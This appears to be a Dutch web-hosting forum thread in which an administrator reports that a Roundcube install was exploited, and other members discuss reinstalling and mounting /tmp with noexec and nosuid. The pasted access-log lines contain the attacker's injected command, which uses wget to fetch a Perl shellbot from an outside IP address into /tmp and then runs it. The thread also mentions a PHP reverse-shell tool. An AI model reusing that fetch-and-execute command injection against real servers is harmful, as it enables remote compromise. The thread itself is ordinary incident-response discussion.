Apache geinfecteerd?

Citaat:

---

Oorspronkelijk geplaatst door mikeh

U doelt op welke "proggies" ?

Alsnog raad ik aan om een herinstallatie te overwegen, een rootkit hunter detecteerd de laatst nieuwe (lees; niet public released) backdoor/rootkits niet.

---

Maar meestal de tools om de backdoors te verbergen wel ;-) een beetje backdoor is pas een backdoor als je hem met ps, netstat of lsof niet meer kan vinden.

Citaat:

---

Oorspronkelijk geplaatst door mikeh

Het team gaat uit van publieke informatie, tegenwoordig worden in de security (whitehats :O) groepen codes van bugs niet meer openbaar gemaakt.

---

:X de meeste whitehats zullen altijd exploits bekend maken aan de betreffende software boer, daar zijn het whitehats voor. Alleen sommige closed source software boeren vinden het niet zo leuk dat ze er op gewezen worden en zullen het dan ook niet publiceren. Maar veel opensource bugs worden gewoon aan de community laten zien zodat mensen eventueel zelf al een patch kunnen maken :)

Citaat:

---

Oorspronkelijk geplaatst door mikeh

Je zult zulke maliciouse code dan ook nooit op milworm of packetstormsecurity.com aantreffen :thumbup:

Suc6 met reinstallen.

---

Dat wat meestal al zo :) alleen voor oude exploits zie je ze daar nog wel eens.

Misschien overbodig maar hmm, zorg ook altijd dat je /tmp gemount is met noexec en nosuid.

Is dat ergens aan te zien? In onze DA machine staat in de fstab geen /tmp:

Code:

---

proc            /proc          proc    defaults        0      0
/dev/sda5                      /                      ext3    defaults,errors=remount-ro,usrquota,grpquota    0      1
/dev/sda1      /boot          ext3    defaults        0      2
/dev/sda6      none            swap    sw              0      0
server:/etc#

---

dus ik neem aan dat ik die aan moet maken? Wij hadden er ook eentje die via roundcube een .txt bestandje met een botshell wist te plaatsen in /tmp die schijnbaar ook uitgevoerd kon worden want apache werd er door gekilled.

Beste Blacky,

Dit betekend dat je server/doos via roundcube "geowned" is, en dat je waarschijnlijk dmv een local root exploit "geroot" bent.
En dus de "attacker" op het moment een "rootshell" heeft via een backdoor.

Gelieve te reinstallen of meerdere details te posten.

Groeten,

Mike

Thanks Mikeh.

Uit de /var/logs/httpd/homedirlog:

Code:

---

- "POST /roundcube/bin/html2text.php?cmd=wget%20http://85.204.12.56/22.txt%20-O%20/tmp/22.txt;perl%20/tmp/22.txt%20%3E%3E/dev/null&
HTTP/1.0"
- "POST /roundcube/bin/html2text.php?cmd=wget%20http://85.204.12.56/22.txt%20-O%20/tmp/22.txt;perl%20/tmp/22.txt%20%3E%3E/dev/null&
HTTP/1.0"

---

Het txt bestandje kun je volgens mij nog steeds van die server ophalen, zit een doos code in. Het initieert een botshell.
Deze maakt voor zover ik kan zien een verbinding met een gehackte andere nl hoster die een ip met 195.242.x.x heeft.

Het lijkt op dit moment over. Bestandje weggehaald, server gereboot en roundcube geupdate.
Er was wel meteen te zien dat er vlak daarna weer scans met w00tw00t begonnen.
Hack was om 19.45 en ik was er om 20.10 uur bij.

Maar de vraag was dus eigenlijk of ik dan toch zo'n /tmp met noexec en nosuid moet gaan aanmaken. Ik vraag me overigens af waarom men dat bij de installatie van zo'n machine als je die besteld, meteen aanpast.

Aanvulling... machine van een kennis hadden ze ook te pakken, ook met een txt in de /tmp directory, echter een php file, deze (weet niet of ik de link mag plaatsen, zonee a.u.b. verwijderen):
hxxp://pentestmonkey punt net/tools/php-reverse-shell/

Groeten,
Richard.

Kijk ook eens in '/etc/mtab', wellicht dat het daar wél staat.

Zelfs mijn virusscanner geeft al een melding als ik die 22.txt wil bekijken :)

Citaat:

---

The requested object is INFECTED with the following viruses: Backdoor.Perl.Shellbot.r

---

Mtab zag ik hem ook niet zo snel

Code:

---

/dev/sda5 / ext3 rw,errors=remount-ro,usrquota,grpquota 0 0
tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0
proc /proc proc rw,noexec,nosuid,nodev 0 0
sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
procbususb /proc/bus/usb usbfs rw 0 0
udev /dev tmpfs rw,mode=0755 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/sda1 /boot ext3 rw 0 0

---

Groetjes, Richard.

Citaat:

---

Oorspronkelijk geplaatst door Blacky

Mtab zag ik hem ook niet zo snel

Code:

---

/dev/sda5 / ext3 rw,errors=remount-ro,usrquota,grpquota 0 0
tmpfs /lib/init/rw tmpfs rw,nosuid,mode=0755 0 0
proc /proc proc rw,noexec,nosuid,nodev 0 0
sysfs /sys sysfs rw,noexec,nosuid,nodev 0 0
procbususb /proc/bus/usb usbfs rw 0 0
udev /dev tmpfs rw,mode=0755 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/sda1 /boot ext3 rw 0 0

---

Groetjes, Richard.

---

Bij een next next finish installatie heb je inderdaad geen aparte /tmp partitie, die wordt als directory onder / neergezet.

http://lmgtfy.com/?q=directadmin+securing+%2Ftmp

Het is nooit verkeerd om een aparte /tmp aan te maken en te mounten met noexec en nosuid.
Je /tmp maakt nu deel uit van je root map, als je /tmp vol loopt dan heb je nog een probleem erbij.
Verder heb ik hier AVG en Clamscan meelopen op de achtergrond, alle kleine beetjes helpen.

Citaat:

---

Oorspronkelijk geplaatst door Herbert

Het is nooit verkeerd om een aparte /tmp

---

...een must.

@DutchTSE: die thread op Directadmin had ik al gevonden. Wilde alleen zeker weten of dat wel zin had aangezien het script in txt vorm een php bestand was en geen executable.
Ik doe niet zo graag partitiedingen wijzigen aan een live server waar ook nog een controlepaneel op draait.

Maar gezien de reacties gaan we het dan toch maar eens aanpassen middels die handleiding. Bedankt allemaal.

Citaat:

---

Oorspronkelijk geplaatst door Blacky

@DutchTSE: die thread op Directadmin had ik al gevonden. Wilde alleen zeker weten of dat wel zin had aangezien het script in txt vorm een php bestand was en geen executable.
Ik doe niet zo graag partitiedingen wijzigen aan een live server waar ook nog een controlepaneel op draait.

Maar gezien de reacties gaan we het dan toch maar eens aanpassen middels die handleiding. Bedankt allemaal.

---

En dat php bestand download vervolgens een perl of ander scriptje.. en juist, dat is wel een executable ;)

Ruikt naar RFI. Zal me niks verbazen dat ze een backdoor geplaatst hebben :)

Suc6 met reinstallen.

Aaaah... ja tuurlijk. Stom.->|

Na een paar keer http herstarten om te kijken of dat goed werkte vannacht zag ik nog dit:

Code:

---

httpd  23520 apache  237u  IPv6 3279284      TCP
WGUxxx.local:www->134.Red-88-0-77.dynamicIP.rima-tde.net:64677
(ESTABLISHED)

---

Kan dat kwaad of is dat net toevallig een bezoeker die bezocht terwijl ik apache herstartte? Nadien heb ik het niet meer gezien.

Euh... ik vroeg daarstraks of het zin had om die /tmp noexec te maken enzo... Lees ik net dit op het Directadmin forum in een andere thread:

Citaat:

---

Ok, I've read on here and via Google about noexec flag on /tmp... but can anyone tell me whats the point? As can still execute (sh & perl) in /tmp on all my servers (Debian Etch 4)..

---

Werd bevestigend op geantwoord. Dus als ik het goed begrijp kun je je tegen die perl dingen dus toch niet beschermen door de /tmp op noexec en nosuid te zetten?

Betreffende thread is hier te lezen.